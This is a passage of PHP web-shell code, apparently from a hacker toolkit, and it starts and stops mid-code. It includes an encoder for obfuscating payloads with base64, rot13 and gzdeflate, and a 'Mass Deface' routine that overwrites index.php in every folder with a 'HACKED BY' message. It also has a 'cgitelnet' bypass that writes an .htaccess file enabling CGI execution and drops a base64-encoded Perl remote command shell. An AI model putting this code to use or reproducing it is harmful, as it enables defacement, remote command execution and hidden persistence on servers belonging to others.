?><center><br><br><b>+--=[ Script Encode & Decode ]=--+</b><br><br>
<form method="post"><br><br><br>
<textarea class='inputz' cols=80 rows=10 name="code"></textarea><br><br>
<select class='inputz' size="1" name="ope">
<option value="base64">Base64</option>
<option value="gzinflate">str_rot13 - gzinflate - base64</option>
<option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
</select> <input class='inputzbut' type='submit' name='submit' value='Encrypt'>
<input class='inputzbut' type='submit' name='submits' value='Decrypt'>
</form>
<?php
$submit = $_POST['submit'];
if (isset($submit)) {
$op = $_POST["ope"];
switch ($op) {
case 'base64':
$codi = base64_encode($text);
break;
case 'str':
$codi = base64_encode(str_rot13(gzdeflate(str_rot13($text))));
break;
case 'gzinflate':
$codi = base64_encode(gzdeflate(str_rot13($text)));
break;
default:
break;
}
}
$submit = $_POST['submits'];
if (isset($submit)) {
$op = $_POST["ope"];
switch ($op) {
case 'base64':
$codi = base64_decode($text);
break;
case 'str':
$codi = str_rot13(gzinflate(str_rot13(base64_decode($text))));
break;
case 'gzinflate':
$codi = str_rot13(gzinflate(base64_decode($text)));
break;
default:
break;
}
}
echo '<textarea cols=80 rows=10 class="inputz" readonly>' . $codi . '</textarea></center><BR><BR>';
} elseif (isset($_GET['x']) && $_GET['x'] == 'mass') {
echo "<center/><br/><b><font color=#00ff00>-=[ Mass Deface ]=-</font></b><br>";
error_reporting(0);
?>
<form ENCTYPE="multipart/form-data" action="<?php
$_SERVER['PHP_SELF'];
?>" method='post'>
<td><table><table class="tabnet" >
<form hethot='post'>
<tr>
<tr>
<td> Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php
echo getcwd();
?>"></td>
</tr><br>
<tr>
<td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="index.php"></td>
</tr>
</tr>
<th colspan='2'><b>Index code</b></th><br></table>
<textarea style='background:black;outline:none;' name='index' rows='10' cols='67'>HACKED BY X'1N73CT,PATCH YOUR SECURITY SYSTEM</textarea><br>
<center><input class='inputzbut' type='submit' value=" Deface "></center></form></table><br></form>
<?php
$mainpath = $_POST[path];
$file = $_POST[file];
$dir = opendir("{$mainpath}");
$code = base64_encode($_POST[index]);
$indx = base64_decode($code);
while ($row = readdir($dir)) {
$start = @fopen("{$row}/{$file}", "w+");
$finish = @fwrite($start, $indx);
if ($finish) {
echo "{$row}/{$file} > Done<br><br>";
}
}
} elseif (isset($_GET['x']) && $_GET['x'] == 'cgi') {
echo "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1 Bypass Exploit]==--+ </font></b><br><br>";
mkdir('cgitelnet1', 0755);
chdir('cgitelnet1');
$kokdosya = ".htaccess";
$dosya_adi = ".htaccess";
$dosya = fopen($dosya_adi, 'w') or die("Dosya açılamadı!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI\r\n\r\nAddType application/x-httpd-cgi .cin\r\n\r\nAddHandler cgi-script .cin\r\nAddHandler cgi-script .cin";
fwrite($dosya, $metin);
fclose($dosya);
$cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9yIE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNlLCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUtbWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vCiMgU2NyaXB0IEhvbWVwYWdlOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwKIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0LwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgSW5zdGFsbGF0aW9uCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0CiMKIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbgojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLgojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZAojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQgPSAiMTIzNDU2IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+Q0dJLVRlbG5ldCBWZXJzaW9uIDEuMDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgo8dGQgYmdjb2xvcj0iI0MyQkZBNSIgYm9yZGVyY29sb3I9IiMwMDAwODAiIGFsaWduPSJjZW50ZXIiPgo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT4KPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjNjY5OTk5Ij4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfAp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xwp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wKfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj7CqSAyMDAxLCBSb2hpdGFiIEJhdHJhPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnxJSUlJSUl8PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxJSUlJSUkvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKPGNvZGU+ClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL